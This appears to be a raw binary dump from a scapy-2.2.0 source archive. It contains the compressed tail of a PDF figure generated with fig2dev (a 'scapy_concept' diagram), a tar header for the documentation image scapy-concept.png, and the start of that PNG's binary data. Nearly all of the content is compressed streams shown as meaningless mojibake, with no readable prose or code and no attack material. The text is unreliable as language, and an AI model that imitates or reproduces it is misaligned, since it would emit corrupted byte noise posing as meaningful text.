Ü1Ï´¨>Ãâ‡!ÃÆ4ꛑuĉ‚³yOD¼5LÃ"§èÄBáŠ)A|“bÒJ R¼×LŽ”ÌëH9=«•"#’XØs#Hpµžô*x­S+âÆ1£k¯°ÅU2Sê=h”Fð‚æÅBæÎ{GÍ:?¯*’(N8’(é9ŸA-%H—$Z„xSºœ‘Ÿ!‘´È”¬eF8·c»ÙÖ¸ÍDú*¯Ëž<’+³LH…a#ÊJ>4Ç nåŽ×†È„¡~VQó\E¾óeAÍrÊ`£7é28Rçó\E…Q@»J¾gl{ÌL£bL3÷u‡VŽˆ [”í<K×ÄU•).`IÕ&b$ q„Ñbæ^šOÍÏÀpÈ4¨Ÿ)ÀðSÜe¼ö ©`æçt*0%kÖt(I÷„YlK§æç¶8ÿwÒŒ“6ýÉ—@ç1÷ƒ=ÍìR”p¶²bv¾Wapõ§všOyg™Þ&¸Æ[_*VE먱3%=Áµè½PšçZœ½x™Ü&ÛñÙë™é%`º!Ÿ¾Æ™Üp&˜½—=ÃHpõ’%9dz ›gM•$zR!cQ™`ê'yJ®™Umžk‘^¥ó«|üž>VÛú×eu{‡(£cfËoi±µHŠ—c’œ²ÜVW»õþùÇÓ~}½ü§ºšÞNY’Uä¥å×êj{XmèWB¸!(é°à[_Á,G>ÌÓúðöc÷øòiÀh Û‘ES#¶?¶ÏÍãêñP?߯¾¯õ~} +Ñõ¸¬—VWwëýks¸þ¥Bna°‘ø×ÓýÓþm½[M’{0(4IAw`,(بíþð¸}m^÷„z{§tÜpƒ¾o—Œc"G‰Ý—«/×ÄÿÛ÷²ÏÕ¿!¾ú¦endstream endobj 6 0 obj 1420 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 12 0 obj <> endobj 13 0 obj <> endobj 8 0 obj <> endobj 10 0 obj <> endobj 9 0 obj <> endobj 14 0 obj <>stream xœUT Tמawg¦VeºR«ÎŽ?‘QüÁŠ¢hp¡+RiYØ ¬ì…eADQ…‘`¬œrhênø—Ú²­m² hH­E´¬Ê"‹Zh=­M´w8o9íi“ÓsæÌyï¾wïýÞ÷}ï‘„Ü IrÖNƒÉj°stÒ,\\@Š ýÄE2L}0eV,"´= üe‚¿¼q!5ŸÎ…ÚÙP>‡‘dyMÃö¢ýÅÆÜ< ’–òFèŠáßFÖlܸ‘ÏÞÿ¿^c(1æðËñÀj0™ –h~;Þm2sø\Óþ¢¼^§×ôRZºÎdÈçwMÆ¢¢B+²=”_»zõ𕸷6ÉhÎ.-áSu%¼–O1ä–štÅÿ$BUS¨/2—ä¥XŒ¥ ùie&™'ˆÝ„†xˆ#’‰D*±‡H ÖiD"‘N„ZâĈ]D,‘DÄ_ÖžëÔ¶Ç Zä(myÌØ{ï.|·N½:¸ámF`"öÜ…9Ôë~2x);¶N±ÌÔêôBWÍb§ ¯]‚4H3¾B!øñsØ ‘_£ê“1ªÉë1hš¼%bUÊ0°ø¹{âe÷»¨uCŒ-°Å ÝøD•âÑ)³* 5Qy=©mqØÂµˆDÑj։⼈„Å_^ií¿Ì±•;îШBÔ©æJËÉÑë"’€”7<á^–Ãܘ¯^‰¯«Þ ö|/*PB u)ÍYâXðHÀŇ@³üZ“’¿KéºC³ýP¡Uýå÷›Ð\ôJÒ¦Õë’ïÃl˜Ýw|æø°Ó‘ÃäÅ1™X‡TÂý÷>«ü­q,º;ƒ^¾³¹ m{²‚ÁßãÊŽÙ´ìx3w§.d6^*;wì\u7SãR~úÅÍQ¹¿¾J¨ª®R+a +;Ž‘`äA¬c@’¹]’¹™îžu^hgØ–³ÍödÒkŽ<,¤ Ùù?ÞÂ°Ž¿~+õ§^8‚ÕN•ªê¯âûP†¦Ü¬ ÛØ¥‡9fµ»¼ï`£U0ÌÏÈØ›i¨ÿØÊjx¯á}³ŽªE®dX„9úÞhÿ3wÖ'K›ÕÑgã^ð±à˜ÿÙ'®Û{j¸ÿºòKØj#=Ø”²A¬ß´Ùƒ )Ù±µõH¥kª¨+Þafl9®½öêk™–fppŽVN½#Øáw#P;81èñ¦§AìsH‚Û*8Fy9kÔ¬X(dþ4«Þ<T^Ó±–ª§Õà_Þ¹ùW û|äÂù«žïCàæ´”C¦Í”ÈË¡JénáÜÑÆ²fký>!‹YŸ¥á”ÐaÃ\äC NcV×ò(´Lÿ'O¥wšûm¶šSmÜ }øÄ¡ê“ûnC hŒVB1>g™ vÙÈÛ87 çFùìjÊ,ß°d”’,1´WÚØïZìärÑ:O´G¡+4{™O‹LÐ]¸É‰t”/„ŽìOýç°³uÀɱ屸t‡`ŸÒØÈLÊ ³·rÚ<‰ žø¦an¸Xº¯oSîCr(¾¢Ð>ø$B‚‚§P1*V`2-#Sœ|8!Κ‰Nœã;C‡jv£ï¤eÕ7çq¹má#žY…ã(äE¼[Áo–sâ™1pOR¼:V‰vÅJj©/|™®x• ö…óxAA¸Ï®˜¤ž‰/|Š—¼Hà]£2Çý6L›gØŒWvy¡þ%¿tªØËUGŽ ï/(8ÐТ†ôDü¤Úª-Õçq%Eïš«Þ`F©ÓüM»[`îvîU—ÒBžµ2á(šU¹ÿxþ¡¤bÓ›B<Ö‡ßÚýâVOcï܇é-%½ÂGB}Mëi|ë ^%­(¶MÙ2&ÑÐÑsÍÑö¨^=þ³_Ô¶Õ3Ê©;ß<¢£P$}A¬SzE¥Ë5B³þ|í†ë¿6ìäд¦7:õ ÒT\DO¦u‡Æé¬¯gp¦ëº¦x!Nxë'™Z†uÞ‘dTZE»¤˜¶‘rÏò¼â>åïÿðŒAüŸŒc† endstream endobj 11 0 obj <> endobj 15 0 obj <>stream xœUO[HaýÇ]u´uS2wT,óJ/ÑêÒE¬,*m']œ½¸îª»¦»ëŽšþ®Úìì¸ÚÚªav±°Å"èÁ—" ¬ÞzðUH,ü'æ¥Qˆèåãœó}ß9 ¨c†a¸Þê´›hû..20é`Œ”©‚r²tOÚŠÍ'K-IC jTP£žú}#õ§ îý¨#¨0¬#0¡·Ú\vSc“ƒÊ½T{9/?ÿÈ?¥¨¢¢‚jpýÝP•t«©ÑBV@ÍXmfÚâ8Aé•k†1ݤ—­©•ª7iãî[]=C7Sc²Ù¬mT®>*.,,:ªŒâs&sƒ³•:kµX©3T-Ýèdêíÿ‰µ½57€ à"H‰ Vi ÔÀŽ•`샴©•6¡ˆ6DFLEz1ø„©,MÆãÜ>¿§+ÄFÈ/òFþëù#$Z‹AaÜt“²µÄ [(fyf9cF½;7Y®ðÎ?®#Ã\ð>)Ä/Þzãþqû}åÛ|û3fšlž¢…ó\ ßp†¯¶°79°¸òtýë[óõQ‘Õàüca.4IÂZ<‘5ÉòÝ:Bðô( J4ýN%I[i>Ȳn[¥c”`<4Ÿ½*«ghÞÇC<ÌóÂÈ```”¬B)æ-¸wÿ\CÚÀèPŽàBïÕíy½W¡ÅËëëñöÃá>rMNy”e)s¶AÖÞ郰÷ò=BˆãFtŸö%Âp»ù×i¤v¼ðñ>ˆkÛ£RY¥F£Ñ¸¥Dqß’F#j’øà7  endstream endobj 16 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 scapy_concept.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 17 0000000000 65535 f 0000001735 00000 n 0000007134 00000 n 0000001676 00000 n 0000001525 00000 n 0000000015 00000 n 0000001505 00000 n 0000001800 00000 n 0000001912 00000 n 0000002596 00000 n 0000002283 00000 n 0000004609 00000 n 0000001841 00000 n 0000001871 00000 n 0000002854 00000 n 0000004872 00000 n 0000005671 00000 n trailer << /Size 17 /Root 1 0 R /Info 2 0 R /ID [] >> startxref 7349 %%EOF scapy-2.2.0/doc/scapy/graphics/scapy-concept.png0000644000175000017500000007222111170743163017711 0ustar pbipbi‰PNG  IHDRò`V¿ Î pHYs  šœ IDATxì|GÆ' ˆáîî.E‹–"5ܽxñ–wŠ»(^(.Å]‹»»»„¸'ßsl¾íårw¹„“Ý»gù…ÙÙ‘wþrOfÞyÇ)**Jð"   õpVÿ8   Р¬áÏ € ¬±“Éa PÖðg€H€H€HÀNPÖØÉ‹ä0H€H€H€(kø3@$@$@$`'\FŽ)Åßß„ GŽ)R¤ˆ›››œoéĬY³öìÙS´hÑdÉ’¡¯sçÎ-^¼ØÏÏ/_¾|&v€*&¶löb×ĉ/^¼X¾|y³7ÎI€H€HÀ‘ 8iÇ­yùòe¦L™€ãÖ­[ùóç·—\¹r=|øðÎ;yóæE§óæÍëÙ³g—.]þøãmˆ]%""",,,ѧËÄF¬SìùóçY²dÉš5ë“'OÌÒcHH^bÒ¤IÍÒš)(–­)Ƴ €°ÛE¨iÓ¦aîgèСvüò¤¡¥J• # ¶ÚH‡­Õ²#  ³Hd–VÌÛH·nÝ~üñGÓ›M@ÓgI   UP¢¬qvvvuu¾T‰Wû,L$@$@$ |q,B]¾|¹W¯^ÿüóüT~ÿý÷ÚµkçÈ‘£Aƒ7n”Ƨ–o¾ù&[¶l%K–2dH@@€ýù矿üòKðÝwßÁëV{ÙE»Ê«W¯P}Ë–-¨¾oß>¤×®]«Ý”v:^F^¿~?UªTR¡B…êׯ¿~ýz8šh7(¥W­ZÕ¢E Œ·L™2Ý»w?qâDì2Ú9ÞÞÞ €©»wïÖÎ?{ö,܌ʕ+_Œ}æÌ™Ú„—.]Š*¡¡¡¨Ò¿¤}}}µ«k§á‚3{öìZµjåÌ™3Ož É|/^üîÝ»( ñ¿ø¥O>//¯­[·"Ì¿þú«”)K I1xzz¦I“ó=ø¼Ç‡î¸qã ‰PráÂ…rׯe æ{ЪüôÓOØF„9éCºFR#ÚJÓ'>>>£GF•~ýú!*r_: ÄF-I–Aá]½z“÷îÝ“÷ÆC ÈÍ4ýb:R QÊAæ±cÇPLGÖÈš¦Q£F˜“ÛDww÷ùóçcxtüøñÂ… #Ê $⑤?^¿~´”/7"'ˆŠÙ³gÇlæ{0éÍ„\§N’‹}ñÅÈ©^½úµk×ÐÔ›7o†.99á ¢X¼ØÊÍ2A$@$@Ö!`ª¬¹}û¶lÐöíÛ?} ,jÈ™˜>_ñq.eJŠë_¸pA.†þôGu¬qÈŸâÆe VgP¾iÓ¦Ú:tH²R ùÚ²F*&õ±¥]+vÚD#¥1ج=›‚~ÄÚÛ¶m“Z†\€Á1«¡ÝWÕªUQLšÒ–5²¦iܸ±L¡ #QeÅŠÚí@á¥Nù›7o–ó¥CF¤JJzE[J"VaÐIMI ‹˜ ’vŒËíCÙ GØ#ç˜ÈV.Ï X‡@¾5ø<à íÈxÕªUû”-0Á %ðçÒg'>åL$êÖ­ ·í8‹à³3§OŸÖÎ7”ÆjIâF.0qOLQÈ™ NÄid:u0Yƒåu(ôù‚Q#­#u5;Ì… 0°X ÁG>|ouMŸ>]''Á·q™üÓ%µ!uÿþ}¨ÌKaG»Sdâ¶B… Ú™H£}.0¹"i<LühWÁJn!ƒñY;iI Ht¹ÅlL3gV²:vìX³fMÌÊHMɵ¤6aIìNÓ¥K‡‰(ŒNš+’«0A$@$@Š"`’¬Ñk±Î‡¢Þ2ÈÄ”CìGXÍA&Vb?ÒÉ ràª"yäè<5×­)FbÁývîÜ)­"¡kˆ-8ýà0Ù ÉZ(?ÕN¼ûtaoæ¢àƒ3+¤µ©ŒÔ|qä‰1íºHcÉO'Çø-|Œ ¤ÆéÒ¥Þ½{£púôé±Ý ùÒ<Ô Ôò;uêd¨©øvj¨æ“ €…$\Ö˜hö†d¹Š´7[g±C~ªÊÀïD;Óìé8Ēзß~‹Mæ™3gîС–Õp¸&° þ˲=ñ²vÔ¨Q2hªU«VÒ†p©)iߢñHn\;Õ(íÛ8Ó…ÐdX¶Ã$”ÙÑ£G!b,X€…'8Á`§#Ö%  ›0Éeøs,[·nNÀ:8¦üûï¿hSǯVo/Ø]…+¸Oc'¹v¨„D ¸kç',§‘p£AË¿üò‹Ž¦ÞÒîQ‘´é];»`*BÊ™ÚKxØÂét!9G£ŒÔü‚±…[®"%° J.Άڵ°|†‰¸ò Vœ÷&É9IvÓ‘:•·¹É%±‘ =¢ºœÃ (“€Åe &Bà8"ŸÓØ ¡ƒ(·¦ÈTDü\|Ç’ ÜQäv ©j@Ú~%çë$t•ÎSù6N#¥‰"¬ÝÈU€ ðÀEªKÊÇ.tLÃ`w7”Š\b±øpkÈQ3RÒ‘œ˜8Á–o”DxbDRF³5Ú p— …„ 2:Ȩbd¤X±Â~+LíØ±C¶ lÚÇ÷ H™èb ËaÚ1‘Ñ;Ý0£½N*o¤G©¿“ €• X| [ˆð™Õ¯¿þ;„áì0ç¸|&1‚±…çÆ˜`ÀÇ<܇á΂UTÇg°µ%vSR>ŠaÎUäïØ%‘§‘X<š;w.âï!L½à;örã|Ä>Æ\ìAXhÈ,Œ«]»vn˜‘†#H¤€(‚+,é3½`Gܼy C‹/FhAÇjÄnFG˜GÙ³g 6,C† r;)Ä"U¬Xˆt–êP b&!È–Ÿ°BnÎÀ"EüÃâ—ÔT©R¥pT¼m 8±±û¹`ä`:q2†vH›ÈV®Å Xœ€vxCQ†á-«]LŠL'SíL¤¥u x¤JùR¤»Õ«WcC{øŒÄG¾v]É9ŸRfìØzÐCXrÒn´ؿc¨ æräø8OˆÓHèɤmtâ×ÉQ!›äAå þ²va,â\¼xQ* ŽO®‚¦‚ ?p!!åCÿéLhaIšF»Òp–û2tx¶AaL.&%àŒs¾´[ÃÄ<~t6Á3³5ÚÅLd«]…i  °'ô¡óig®[¬z`Jë)ðÏ€êÇø¿|ùòð]o/°á$7a8·bFÚ%n¤¸Ý@ca6«?RœßØ…ãe$ÖqàT‹uLl`˜ãAƒP6ˆk‡©ù((dbý±û0jÄëƒ4Á´tAlŒç@Ab¢ ’ pè(Ô©‚2ðüÅÊìÁÔ‹ëY§Œt €8;Íà) ïà”)SÆ.‰ã/P K]ðYF$Ft ±¥S̶:UxK$@$@–&` Yóý÷ß[z n_–5J62Á£cE  p(wv(š, € PÖØ>»&  0'ÊsÒd[$@$@$@6$`Aßl†ç,ŽT„ç© Gh¼kUi||J$@$@$ ° ¬!b   °&.BY“6û"  ° Ê ÂeÓ$@$@$@Ö$@YcMÚì‹H€H€HÀ‚4gB!þoƒ _ß‚ý°é@lb \ºti‚j³’~8˜ ¯õ?c. €: $Nœ¸S§Nê´V›“€FÖ úþÛ³¯˜.was¶Í¶>›À¿«gJçlvKl šÀÖ­[[´h#EI„HÀžL›6 §vîÜÙžű$€@ô Þ‰’$­Ógb悥ЫXŽÀó碢",×¾¶ŠcÌ'Nœè€cçIÀŽ `¶&88ØŽÈ¡™H€¾5&‚b1   ¥ ¬Qú¢}$@$@$@& ¬1‹‘ (eÒßí#  0‘e‰ XŒH€H€H@é(k”þ†h €‰(kLÅb$@$@$@J'@Y£ô7DûH€H€H€L$ŽÏ”ÒþÞFEEšR’eÌE ",ôÁ‹Ç={ö4Ò ››Û¸qã\]]”á£xð÷÷W¶www+täP] @%~ÚÃÂÂl5jggg¼ÖdÉ’ÙÊökgL•5÷ÏZÜ¥Fêlyílü Nh dDÔò5ë Ù6räHÊCˆïå•´÷«/>ÚÁ¸jWžµqk¿þ?ÛÁX8Kˆ–5‘aaËû|ã•6³¡þüß¿.Q·¥¡§È ]?¬]¯·‘2|dvß&Nêöõ7?n9*"¼yzõt³ñ©†=š¾ðǪö82[ŽéÒÎU•ZõM•9—-`ß±ìžÚoÿþý­ZµŠõÄA3ž<}šWå+PÒ›K•ÿ†ûùùyzz:è»ä°M& ‘5… Ú±c‡ñ*^^^Æ àiâ¤É²¯g1°&`_פîÖìÑúrrrNêîÅŸv¥½ë¬…J)Í$ÛÚäf/c{¸¹àooÊÛþD©¢wº «â5ÑH ˆ7ððˆx×Qp…ˆ»Ž‚I«Û4Êu¿?ZO$@$@$  ¬‘Q0A$@$@$ nÜà­î÷GëI€H€À”)Sp,Fÿþý=<<¬3ö+W®lÙ²¥H‘" 6´N î…³5 FÇŠŠ ðîÝ;EØA#H€HÀàQ®Ýö¤I“FŒ­aÚ™M_ºt =nܸѢ½˜¥qʳ`d#¶!°yóæ´iӿɓ§{÷î›6mzûö­mì`¯$@$`Ó¦MK–,ÙСC-Ó¼¶ÊE(;|©Ž3¤»wï:99Ýÿt­Y³'à¤K—î«OW•*U xGJ$à8ž?åŠs%xÅ"@Y 3ÔIÀÇdžcV"G–8µjÕ‚ÈÄÜQç°h5 èHœ8±nïÿO ²ç'œÙ¸ðÿuÿű á¡!º¹1ï}^?»}|gÌ<ÞY–@XHOèӧϯ¿þj¨'LxäÍ›W§+œ9s²Ä—¶ÄY¹r% ¤J•ª|ùò³fÍŠ]8vN¿Ÿ‘u”ÿøêIìZ:9W÷­çY":L,}ûòþƒCŒtÔ ANãáÃGV&põêÕ©S§Â!÷Õ«W™2e*[¶ìo¿ý–=»&84rƇ#ÿÞ·o~°+W®Ü¬Y3Ü6ìãÇx*EÊ0aæo¦OŸ~îܹŋŸ8qÂÝݽbÅŠ#GŽÄ¯¾{÷îÁÞ¿è»C† A;ò0ä$I’È™HÀ ô8qâDCš^1$$dáÂ…[·nÅßœ...¹råj×®]‹-œ-âã¤÷SA{lR:C† ï¼?: §Ø¤´ãž"õ ½Ï @þŒ&Åúÿëçôúyx¿j 9YsìØ±ÿF¢/…ÿ9I“& Í’% "ëãwÄÞ½{-Z¤¯ltÞªÕŸ;ÞH½û”í8ª`Õo •Á¡QË{ׯҖ'ó"d‘üˆ°ÐD.Î..ÿZ òû˜ØûÑуû,Ò½òÍ#ÍéÕïÓ¤Tžeñ·¨ð÷)ö¼ŠÿņªÂûÇõêÕËPæ¯X±¢}ûöÒ§0T>þa$dÄÙ³g¡?nܸQ¸pam³»víº`Áä€tÌ‹/2f̈ÛâÅ‹CA74oÞºs9ÞÞšóñ·” ~·ã/=ÌX£<2Q¿9K•ŠÉ"E <õõõÕ‰àœ&MÈ >¤L©ù‚©Ð"-[¶üë¯è#’L¬móÐ ƒï³4^ |éÒ¥È4ûeðÿ¿NOOŸ>•LÑÉ—o{㎽ò­Þ„Gªt_÷ú=Ká2zŸ2ÓVÞÜ¿–Ú9jÝV$¸_ü rüøñØ?™‰%ÂѰ°0lG¬_¿~µjÕÊ•+'­CKúï±uËæø2R¦qóÖFžâQxhp©oÛ×ë7Ùx1>µ2{§ö¿Ø5ßʲ;ÐKŠŸ›øõ5`À$0‡µ™uhäìÚµ«@3gÎ>|x¿~ý PŒ;Ó4iÒä÷ßG Ø<µ~ýúÖ­[Ÿ:uªN:?üðTÈ¿ÿþ‹Ì‡Î;÷Ï?ÿÔk•Ù3G Mƒù§?þøþðøûï¿ûöí»lÙ²nݺ}ñÅfïÑTYçJž…f“Ì>`6h¯ŒH{2ÇE$ ^1عÏ{,!á×R¡B…Q£FAy`Ù·øTÅ&›‘† ‰ódF,ë ’ c>343fÌÀÂSÖ¬Y1¿"-$aÖ¤M›6ÐØlbÖ¹Ž9‚ްòõõ×_#K ¼°‰«o¸l)k¬3~öBñ"€ÙQü­ƒ€T±geâÕ “ €• À©=¾~ý>4òâZݺu±ô“0KtåU¯^² j;ÇÔ¨Q²FZíJX/ñ­% SZ„’ë>|XN›=aêlÙ;fƒ$ðù:wîŒh8ÙŸ›ýüŽØ ˜—æfà# ,6Á'¦qãÆ˜M‰sJƈ ²6’ÊH3@™3gÖ®ç‹va³¤1.¬…Í™3ؘR³fÍ‚ JZÇ,íÇnÄ"~ȱ»a Xˆ@¥J•¨i,Ä–Í’ XŽÌîÝ»± §Zxº`ZÓÏU«VÅV&„à2W¿¦ ¯ 1cÆ ¢ â÷îÝNÐpsFÕ;wî˜R=e(kUH€H€Hàs -Z3X Á?ÖŒ°êèÑ£˜„†Ä1£²I˜•:Ç5˜ÞˆNExa“Ú›7oÖ­[‡ÝOðŒÆºös•(Q[SMoÖô’”5¦³bI  03ˆ|ðð‚ý¼'›Ûˆ)‰\c9»äà Çvú2e¦œ±1ÇrBƒ¢""-[e¨ ÄÌŒˆÄ!”5¢Ê•*èÛ$S¶†ˆd*VÉÐS)d•äÉÓŒo¼.Ÿ&Œ@dDxdxhá’eTûüI``€Îù8FÊó $Œ@Ž9V­Z…øÂˆJ§íe‚ÝðA‘2€ ÀÓË—/ck4 K‡'$¬G½µ«ýâÅ‹˜SÁ‘2Ò©2U8”¦C‡8½Ao)ÓÄŠ(†s6mÚ4ÿÓ%ÕÅèðwr—.]Œ´ŸàG¦ž gœ·nÝ2R a 'ϘÓqÞ#‡'œ\;ÏçõÓ:½7ÒYŸÀÅ«6ëööåóäÉ“[¿wóöˆ˜âqž õù=âÿð”•ÿ|7ÂØ‰'#«¤yìãç÷ÅÌK`JÝ,ïÜ”?TÌÛ¸•[ã™PVž€î°âƒ© ,<á§lÙ²+V 9é´óèÑ£;wÂOçÀÀÙVçéçßbú[Í¡œà­ŒØ9¥K—6QÖ›^»½0õøñcøçÌ™³V­ZÒQSŸo|ìÌ6[SæÓ»9§Q@ÖÈ·L €ƒÀ¢§NtàØ@0¯Ó£GØùæÊÁR¶”ãŠoƒ¦W„\ÃßöVž.à ãÆZ$@$@$@Š#@Y£¸WBƒH€H@° $,̘¥–;ç/1ý¿M6Æ ó ˜…eY0² p8>þ¢Yah‡ë¥›¢|sÑkœðñs82° PÖØ>»& uØ|@4 «lÅ€‰¢Lqöšðr努{Œ´^](kÔõ¾h- (…€§›(]HlÜ'ZüüŸ²ùç(ô­˜¶\DDŠÆµÅÍ¢žù÷î(…íP ʾšD$@* àê*öý©Q6öŠ–¿ˆGÏEÃ^⻞âÉK‘=“Ø>_¬Ÿ!2¥SÁ@h¢=0Ûo{‚± ˜B er²ùª“X¿GlÜ+"£D"ѯÙS¸%3¥–!3àl™²9 p(’²Áœ 4Mšâü1ég:¹ˆË IDATj‡úPÖ`­:[ƒctVöo"CVC üÞ½*\³¡§Ì'µH›6íÉ-Ë‚>="-,Ôøpî>°oÞ°d^©ŒãSó ÿ¶aSCÍúûùþ³yCºt\\ù ˜Ÿeù™²E °W GÛëÈ8.;!Ç4¸Œ’à  07=ÇÅ7ÝĨ¹æn—í‘Àg ¬ù x¬J$@L¾Ã;ŽŠqø¾;0 Ý(klA}’ €ú Ôª Ò§oЇÏT9ìU4¾]Q•£rx£)kþG€H€H A%ÛæŠ”^¢F{qæJ‚š°i¥xxx”*UjÈ!û÷ï§Ä±éÛ0[çt6J6D$@E (X³Õ¨¶X´^|Ñ\dL# ä©’ë2hZG4­«›©„û—/_ÂŒ‹/^¹reþüùaaayóæ­[·nõêÕ+T¨àîî®#iC| PÖÄ—Ë“ h‹ÑóÿCñòÀWì«HÞØyÊʉˆˆðöö†MÚ'Ož<85jÔ(_¾<&u”e1­1L@q²&Àû͹-K Ì'6 à÷þuܸl`—º» ð7þ£îýⱺGh§ÖG‰¨ãÇ«bpÁ!!µÓÓM¬™wf‘5!¡¡ëׯG´zCýaÆÅëÓe¨@ìü§OŸÆÎ”%Î¥K—._¾<{öìÈÈÈlÙ²¥I“æØ±c±Ë3Gi”%k0éwíÀ¦ë7+ “ƒÛìàÌ>üÅK–ž;ÁH³IÂ|Œ<å#›ˆ?vss³™&wnrÙ„tuÍë%¤bêDD„_½zÕÓÓÓPÝW¯^ùøø\¸`ìÿ”NÝ?êäèÜâW_```Ò¤IïÝ»wëÖ-§¼U&eÉš»wïâÇH™¤h•*~«è5uh×_F nÞ¦½‘§|d+NNN­ZµRÅ™PÛ·þ%„üAâ–ÌmôèÑY²d1ôÞ‡š>}ú^½z*;ÿÑ£G>Œïêꊿ±1moâúõëW­Z #§ŸÆn96$ ,Y“,Y2²`×$@$@ &)ž½o>ˆì™DZƒ‹E nÞ²)e,Ë׊­+KÖXqàìŠH€HÀ 0þ~·˜°X\»+Âþ¿êåå.jWcûˆü9ÍÐ……š&`àÃY ¶I³”56ÁÎNI€HÀ„†ŠZıóÑcñpÓlð~ùVøˆ {Å–böÑ­¹BGºxñâAƒqI¡¯'¡f1_Bɱ 8<_¦h4MºTbÊ/âÍqáwN<> ‚/‰Ë›E›ïDx„èó»¸pC¡˜°¯ªlÙ²tšQèëI¨Y”5 %Çz$@$àØ>úŠY«¶yï_"tøÏŸÆÙYË/VLƒ»ˆÐ01þÇÆÄÑ[—euy³7 °—>myF”á¢ùôiXw‘8‘rgkôÍ\• ¬Qù ¤ù$@$`#÷Ÿh:6âœ4‰È‘Y<~!""ld"»u<”5Ž÷Î9b 0IÐ\¹m°­€@ñà©È“M¸¸,Ã$`^Ü e^žlÌI 2"<È/Ž@¨æìm™@ánM(åEJ.Îbã>q䬨ZVÏûO‘¢ta=Ô›Åÿ• |wx)²U”52 &H@Y*•/ßû§¦é3gS–Y ²&,4ÔÙÅÙÅÅ~á¼~þdÑÈÞ Â`o•<ÜÅÈžbØlQ¿›èÒD´ûAäÊ*°Çûõ;qñ¦˜¶\ì?©¹ÑÓ~^«V­1_V¹°~Žý É.F‚ÿ•CŸ†b¿eìâ¥p$ K WÏnøÒÍUç}çÎk׮ݤIušO« ÜU\¿'þÞ%¦¯Ð|áJä¢Ù×-]Ð4KÆs¾‰.§ž¾¬R™'ü(üuÑ·Fá/ˆæ‘ €r `/÷š©âØJQïK‘%½pM“ÔUÌ%ú¶öŠ&u”k<-³Kœ­±Ë×ÊA‘ €õT.-v”Öt"Ì&}áËlA€³5¶ Î>I€H@ýÞžƒ¦‰ã磷pcGw†´Ô4êµjgkÔüöh; Ø”ÀÕ»_8çGAÕ©,êWÕ|O•¦6±sÇ&@YãØïŸ£' „À1Ýó†‰CgÄá3â­·X½Có…-ßJhô ¾ ENh‡¬Gq ¬‰›K Ä&8±èÞBó%®Ý‡Nk$bØ¿ ù4]d˨q%îÖL/»6sHÀ"(k,‚•’ €ã€ƒ0&fðÕ»ˆŒ8+êÀI1ÿoñð¹X°V¤OMYã8? ¶)eíß-  ; €9İÑÌÙœGω÷>v0&A}(kÔ÷Îh1 (‡À H™Oî5ð°y÷ÿ£>\‹*¥E/4_å‹+ÇXZbÿ(kìÿs„$@$` >~"=ñú}tÛp.[ä“”)/*—nÉ,Ñ'Û$8PÖĈI€H€ô@@aIÓ ¬p×fâ×EÆ´z 2“¬G€áø¬Çš=‘ €=ÀJSѼš‚CÅÌ•"G-Q¹•2Cì=!üìi ‹šp¶FMo‹¶’ €rxº‹+[ŇâØy;n|º,N\ãj¼,UHT-«ù‚“—‡r¬¦%vN€²ÆÎ_0‡G$@%€˜Âß×Ô|Ⴗ͉ âÈ9Ä9]œ¹*&/#zˆ‘?YÔ6Nÿ ¬ùS$@æ%pëÖ­°°0´ùáÇ'Ož\½zé”)Sfɒż±5…Hî)Êþš/Ÿ¿Ï^+Ä.šá@bÈš¬ZµJïè3dÈ+W®òåË{xØ~2qÖ¬Y?~üé§ŸR¥J¥×Zf’ ØœÀÑ£G«V­*ý' Ø»wïøñãa$.ˆ›[HÌEž4Tsà”æëÊmõ©]øÜ”+ª‰2Üú[sõÃvH nº²fĈF*¥K—nìØ±;w6RÆ f̘ñðáÃ-ZȲ&$$$***iÒ¤Vè] ˜B {öì^^^P0Raü'•Ù²e£¦1 òË„„Šßj¤Ìé+",<ÚÞžâëÊ5ƒ3/Ó¥Vþ h¡½ˆ!k¤Á%J”h̘1Ú }ùòå–-[^½zÕ¥KÌÜ|û­²ä7ôM```PP•ö‹cšlH²ÆÓÓÓ××Wdž5jèäðV¥°Ø4j^´íÅòi¤ ¾*–..*ͶzdMâĉûí·Øƒ›|¸W¯^›7oþFô¿pˆŠ+^¹r·Xä ¿ÿþ¾}ûöïß]"•¹téÒœ9s\]]!¤é;j!¿5j¤/¥wíÚµ~ýz)=þ|$°F†‰îØ%™C$`e±ÝkèXcåW`‰îÂÃŽMÀ—a\HG»ƒknµ¯7ïÅý§" H J¢ø}Úh7Ã4 ă@Œ?¤Œ×óññ™4iÊ|óÍ7Ú%›5kMS½zõk×®A¾¼yóføðáP!X±Ú¾}»TrôèÑP'ø·{÷nì͆2v3áѲeËNŸ>­ÝZ|ÓË—/‡aS¨øúõk¤Ó§OßFXžHÀBà^#·LÇ…ªCgŠd%5_™«iÆ1û¯è[)Sû{öZâñ Í ÞÔ4ª~ãê2^~Fø¬‘#GjëGÏž=Û±c‡··w»ví $?Ý´itIÁ‚¡W0Ñ‚ü´iÓŽ5 H™¡C‡JèÈ‘#ÈÁ<Ê×_„››[Ÿ>}°Þ„ð\¸à‰ŒÌ„]4¸œœ"Aà—&wB% #k‘€…À½fÛ¶mþþþhŸŽ5‚låfq”Û§`QQ"(DsNr ]% ˆ±} =d> ˜Ÿ€Yƒ"I—Äî +åÓ¦MsÑÚ½‡ÉÃÄŒ¤iä*ÈA„Ìмÿ>uêÔ’ì¡ä2p¦‘ÓL Ø%m÷:ÖØÇ+Ý[à ÜÓT½Z‰izöÎÚÇX9 õÐ#k·fܸqÚCcïóçÏ11süøñ²eËž9sJE*pçÎ$P@šÑ®…Ø}ˆss÷î]nܸñ©S§à"ƒ:vìX³fMLðHZG» Ó$@vFKÏpÅ“ùéXcg/7IbÑ´Ž(QÐΆÅᨛ€Y—^i#·ÎÈ£¯páÂ8`aÅŠýúõÃS¨Ü"Ñ©S'Âò­4ùŒòˆ•‡Ðéð îÝ[£óá×`äçË—O.Ì €ý¨V­¢×`é™kììåz¸‹µÓ¢Ç„]­7ïkæo""Eõ„»Ø!ÇôÈCV¤H‘¢uëÖð–6=¡ü‚±ö„ÍÕðÿE8Q½óçÏ/•„ŸMß¾}±qiçÎØ³ =´`Á¬aaÝ»¾õÖ•2±(fä)‘ (œ@ݺu¥íŠŒX£ð7•0ó e†Ï«þ¾š²fOŠ­ÄÔe¢[3Ñ2Æ“„õÀZ$ñ5h‡¹à;¶2É=  &` 